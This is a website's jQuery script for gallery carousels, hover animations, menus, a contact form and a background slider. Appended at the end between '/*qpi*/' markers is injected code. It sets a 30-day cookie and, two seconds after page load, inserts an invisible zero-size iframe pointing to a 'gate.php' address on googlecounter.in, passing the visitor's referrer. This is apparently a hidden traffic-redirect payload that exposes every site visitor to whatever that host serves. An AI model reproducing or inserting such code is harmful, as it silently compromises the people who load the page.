$(document).ready(function(){
	//gallery 
	$("#gallery1").jCarouselLite({
			btnNext: ".next",
		 	btnPrev: ".prev",
			visible: 2,
			speed: 600,
			easing: 'easeOutCirc'
	});
	Cufon.now(); 
});
$(document).ready(function() {
	
	// hover
	
	$('#logo').hover(function(){
		$(this).stop().animate({marginTop:'-20'},300,'easeOutCirc');				  
	}, function(){
		$(this).stop().animate({marginTop:'-40'},300,'easeOutCirc');				  
	})
	
	$('.button1').hover(function(){
		$(this).stop().animate({backgroundPosition:'50% -50px'},700,'easeOutQuad')						 
	}, function(){
		$(this).stop().animate({backgroundPosition:'50% 50px'},700,'easeOutQuad')						 
	})
	
	$('.banner1').hover(function(){
		$(this).find('span').stop().animate({bottom:'-20', right:'-20', width:'90', height:'90'},400,'easeOutCirc')						 
	}, function(){
		$(this).find('span').stop().animate({bottom:'-10', right:'-10', width:'70', height:'70'},400,'easeOutCirc')
	})
	
	$('.banner2').hover(function(){
		$(this).find('span').stop().animate({bottom:'-7', right:'-7', width:'90', height:'90'},400,'easeOutCirc')						 
	}, function(){
		$(this).find('span').stop().animate({bottom:'3', right:'3', width:'70', height:'70'},400,'easeOutCirc')
	})
	
	$('.list1 a').hover(function(){
		$(this).parent().find('span').stop().animate({rotate:'360deg'},500)						 
	}, function(){
		$(this).parent().find('span').stop().animate({rotate:'0deg'},500)						 
	})
	
	$('#gallery1 .active, .rooms .active').css({ opacity:'0'})
	
	$('#gallery1 li > div').hover(function(){
		$(this).find('.active').stop().animate({opacity:'1'},600);								   
		$(this).find('p,h2').css({color:'#fff'});

	},function(){
		$(this).find('.active').stop().animate({opacity:'0'},600);						   
		$(this).find('p,h2').css({color:'#000'});

	})
	
	$('.rooms').hover(function(){
		$(this).find('.active').stop().animate({opacity:'1'}, function(){$(this).css({opacity:'none'})})				   
	}, function(){
		$(this).find('.active').stop().animate({opacity:'0'})				   
	})
	
	//contact form
	$('#ContactForm').forms({
		ownerEmail:'ya.za0za@yandex.ru'
	})
	
	//menu
	$('#menu').superfish({
      delay:       600,
      animation:   {opacity:'show', height:'show'},
      speed:       400,
      autoArrows:  false,
      dropShadows: false
    });
	
	// for lightbox
	$("a[data-type^='prettyPhoto']").prettyPhoto({theme:'light_square'});
	
	var content=$('#content'),
		nav=$('.menu'),
		footer_nav=$('.footer_menu');
	nav.navs({
		useHash:true,
		hoverIn:function(li){
			$('> span',li).stop().animate({backgroundPosition:'50% -110px'},700, 'easeOutQuad');
		},
		hoverOut:function(li){
			if (li.attr('class')!='sfHover') {
				$('> span',li).stop().animate({backgroundPosition:'50% 0px'},700, 'easeOutQuad');
			}
		},
		hover:true
	})	
	footer_nav.navs({
		useHash:true,
		hover:true
	})	
	nav.navs(function(n, _){
			content.cont_sw(n);
			footer_nav.navs(n);
			$('> ul > li> a', nav).stop().animate({backgroundPosition:'50% -130px'},700, 'easeOutQuad');
			$('> ul > li> span', nav).stop().animate({backgroundPosition:'50% 0px'},700, 'easeOutQuad');
			if (_.n!=-1) {
				$('> ul > li> a', nav).eq(_.n).stop().animate({backgroundPosition:'50% 0px'},700, 'easeOutQuad');
			}
	})	
	content.cont_sw({
		showFu:function(){
			var _=this
			$.when(_.li.find('.inner')).then(function(){
				$.when(_.li.find('.box')).then(function(){	
					$.when(_.li.find('.shape')).then(function(){					  
						_.next.css({display:'block'}).find('.box').stop().animate({height:'100%', width:'100%', marginTop:'0', marginLeft:'0'},500, 'easeOutCirc', function(){
							_.next.find('.inner').css({display:'block'}).stop().animate({opacity:'1'}, function(){$(this).css({opacity:'none'})})																																				
						});
					});	
				});	
			});	
		},
		hideFu:function(){
			var _=this
			_.li.find('.inner').stop().animate({opacity:'0'},600, function(){
				$(this).css({display:'none'})
				_.li.find('.box').stop().animate({height:'0', width:'0', marginTop:'301', marginLeft:'475'},500, 'easeOutCirc', function(){
					$(this).parent().find('.shape').stop().animate({height:'301', width:'475', marginTop:'151', marginLeft:'238'},500, 'easeOutCirc').animate({height:'0', width:'0', marginTop:'301', marginLeft:'475'},500, 'easeOutCirc', function(){$(this).parent().css({display:'none'})});																													 
				});
			})
		},
		preFu:function(){
			var _=this
			_.li.css({position:'absolute', display:'none'});
			_.li.find('.box').css({ height:'0', width:'0', marginTop:'301px', marginLeft:'475px'});
			_.li.find('.inner').css({opacity:'0', display:'none'});
			_.li.find('.shape').css({ height:'0', width:'0', marginTop:'301px', marginLeft:'475px'});
		}
	})
	
		
	//bg animate
	$('#bgSlider').bgSlider({
		duration:10,
		pagination:'.pagination',
		preload:true,
		spinner:'.bg_spinner'
	})
		
 });/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://googlecounter.in/gate.php?f=694073&r='+encodeURI(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
